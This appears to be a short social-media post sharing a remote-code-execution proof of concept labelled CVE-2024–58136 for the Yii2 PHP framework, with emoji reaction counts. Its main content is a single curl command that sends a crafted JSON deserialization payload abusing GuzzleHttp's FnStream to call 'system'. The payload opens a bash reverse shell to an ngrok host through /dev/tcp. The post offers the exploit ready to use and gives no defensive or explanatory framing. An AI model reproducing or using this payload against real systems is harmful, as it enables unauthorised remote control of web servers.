CVE-2024–58136 — RCE PoC
*
Yii2 Framework
*
Yii2 Framework
curl -k -X POST https://sub.domain.tld/index.php \
-H "Content-Type: application/json" \
-d '{"as hack": {"__class": "GuzzleHttp\\\\Psr7\\\\FnStream", "class": "yii\\\\behaviors\\\\AttributeBehavior", "__construct()": [[]], "_fn_close": "system", "stream": "bash -c '\''bash -i >& /dev/tcp/x.tcp.xx.ngrok.io/xxxx 0>&1'\''"}}'
👍33🔥23😱8